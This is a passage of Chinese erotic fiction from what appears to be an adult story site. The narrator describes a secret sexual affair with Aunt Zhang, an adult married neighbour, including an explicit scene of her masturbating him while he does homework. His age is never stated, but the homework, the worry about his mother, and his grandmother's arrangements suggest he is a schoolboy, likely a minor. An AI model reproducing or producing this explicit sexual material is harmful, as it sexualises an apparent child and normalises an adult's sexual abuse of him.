雨还在下着,似乎比刚才还要大。

「你冷么?」

「现在还好。」

张婶拿过毛巾被打开给我们两个人都盖上。我立刻感到全身说不出的温暖。

「几点了?」

「不知道。」

「你呀,真行……这么长时间,我真服了你了……」「嘿嘿嘿……」「傻笑!你现在回外屋去睡。」「干嘛,我要和你睡。」

「废话,明天早上万一被别人发现,咱俩就都完了,知道吗?再说明天还一天呢……」「行,我听您的。」我起身回到外屋,也许刚才太兴奋了,有一点累,很快就睡着了。



早上醒来的时候快九点了,雨还在下,只是比夜里小了一点。屋里弥漫着清新的泥土味和凉爽的雨气。桌子上放着张婶买回来的早点和一张纸条。

「小海,我到单位去一下,中午之前就回来。把早点吃完以后就写作业。」我吃了饭,到里屋的写字台上写作业。但怎么也不能集中精神,毕竟我刚刚经过了人生最重要的事情,那种感觉还滞留在我身体里没有出去,新的冲动又开始慢慢地在聚集。我乾脆躺在张婶的床上回想昨夜的事情。

雨又开始大了,阴沉的乌云笼罩着小院。

这时传来开门的声音。我坐起身,看见张婶站在外屋,光脚穿着一双平底的白色凉鞋,裤脚高挽,嫩白的小腿和脚上沾满了雨水。

「好啊,你这个小东西,不写作业,又偷懒是不是?」「我写了,还没写完呢。」「躺在床上写什么作业?敢骗我。」说着就走过来拉我。「你呀,不好好写作业,到时候你妈就得怪我了,知不知道?」她说完,拉上窗帘打开衣柜,从里面拿出乾净的衬衫和裤子。

「到外屋去,不许看。」

「我没看。」我答应着走到门口又往回扒头。

张婶背对着外面,脱得只剩下乳罩和内裤。她的身材真的很好,高挑丰满,突兀有致。而且皮肤光滑。特别是那肥翘的屁股,圆圆鼓鼓地撑起内裤。她换好了衣服转过身看见我,过来拉开窗帘,在我的脑门上戳了一下。

「就知道你偷看。」

「那您是让我看了?」

「呸,放屁。还不快去写作业。」

「这就写完了。婶儿,我想……」我摸她的屁股。

「大白天的,想什么想?」

「就一次,怎么样?」

「不行!你不是不知道,街坊邻居的,会看见。」「要是丫那个老太太再敢出现,我就抽丫的。」「行了吧你。要是写不完作业,我先抽你。」「那您坐我旁边看我写,怎么样?」「我还得做中午饭呢。」

「饭不着急。食色性也。」

「不懂。」

「就是说吃和操逼是一样重要的。」

张婶脸沉着,用力拧我的嘴。

「不学好,看你再胡说八道。」

我赶紧求饶,她才松开手。

我捂着脸脸解释:「这是真的,好像是孔子说的。不骗您。」「哼,我说呢,这孔老二也教不出什么好东西,要不前几年还要把他打倒呢。

该打!」

「对,您说的对。」

「少废话,快点写。」

她还是在我旁边拿个椅子坐下来看着我。我胡乱地写,不时的扭脸看她。最后还是忍不住去摸她的大腿。她没有说什么,也没有阻止我。我放心地去摸她的私处,用手指挤进两腿之间抠。她把手也伸过来,伸进我的裤子,握住勃起的鶏巴套弄。

婶儿,你不怕别人看见了?」

「你怕么?」

女人真是善变!

她加快的套弄的速度,这突如其来的刺激令我的生理反应也随之加快。

「婶儿,我要出来了。」我急忙叫她。

她顺手拿起写字台上的茶杯放在我的下面。我全身綳紧,所有的感觉都集中在龟头上面。那些血管似乎就要爆开了!一阵钻心的愉悦瞬间随着她手指的动作倾射而出,喷进茶杯里。

她用手纸擦乾净手,看着我说:「舒服了吗?」「婶儿,没想到您还会这一招儿。」「快点写作业,我去做饭了。」她拿起茶杯出去了。很快厨房就传出茶杯摔碎的声音,我跑过去看,张婶正把碎玻璃扫进簸箕里。

「怎么碎了?」

「干嘛?留着你用啊?」

我不说话了。

「妈,妈。」这时小云打着伞一边叫张婶一边从前院走过来。

张婶看了我一眼,就跑出去。

「怎么了?你怎么今天就回来了?」

「舅舅他们家漏雨,我就回来了。」

「吃饭了吗?」

「没哪。咦,小海哥怎么在这儿呢?」

「他奶奶让他陪陪我。你先进屋吧,饭马上就得。」我的心一下子就掉进了谷底。这意味着甜蜜的美梦就此醒来,而要继续这梦还不知道要等到什么时候。我有一种说不出的懊恼。吃饭的时候也没精打采的,张婶看出了我的心思,用不断地给我碗里夹菜来安慰我。

下午我就拿着自己的东西回去了。虽然心里一直在失望,但转念想想我还是很满足了。毕竟我已经告别了只能用讲黄笑话和手淫来满足自己生理需要的日子。

最重要的是我已经和张婶有了床第之欢。至于下次是什么时候也是指日可待了。



过后的几天我都没有去找张婶,她也没有过来看我。我不想让别人看到我们频繁的接触。什么事还是小心为妙。在这个胡同里,秘密就像一个没有盖盖儿的罐子里面的蛐蛐,随时都会跑出去,被别人抓住。

没几天张叔就出差回来了。但很快张婶就和他吵起来了。听老太太们说是因为单位分房,本来有张叔一套两居室,但被处长分给了其他送礼走后门的人此,第二天张婶就去了张叔的单位,找那个处长狠狠地吵了一架,全单位的人都看傻了眼。她跟那个处长说如果这次没有我们的房,我就带着孩子天天上你们家吃住。别以为我丈夫老实,我就好欺负。你要是不信,咱们就走着瞧。大不了我死也拉个垫背的。后来那个处长服软了,不但分给了张叔一套两居室,还让他带着张婶去北戴河旅游。说是张叔一直以来工作认真,吃苦耐劳,所以奖励他。

他们去了北戴河两个星期,回来以后就忙着搬家。搬家那天来了几个张叔的朋友帮忙,他的单位还派了一辆卡车停在院门口。张婶前后左右的忙活着指挥他们。我也去了,张婶看见我没有说什么,只是让我帮着拿一些小的物品。很快所有的东西就都搬到了车上,张婶也跟着车走了。整个过程几乎一句话都没有跟我说。

后来我和父母一起去过她的新家。不是很远,是一栋坐落在大街后面的六层单元楼。他们住在顶层。很不错的两居室,他们还买了几件新家具。张婶忙里忙外地招呼我们,俨然一个殷勤好客的女主人。谈话只是在他们之间进行,我仿佛是一个局外人。我的心里有一种离她越来越遥远的感觉。忽然开始怀疑那天晚上发生的事情到底是不是真的,还是只是一场我想像出来的梦。说话中得知张叔虽然现在还出差,但次数比以前少了。而且听说年底可能要让他当副科长。从她家出来父母一直议论着自己的以后的房子问题。而我心里却是空荡荡的,没有心思说一个字。


【完】

  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]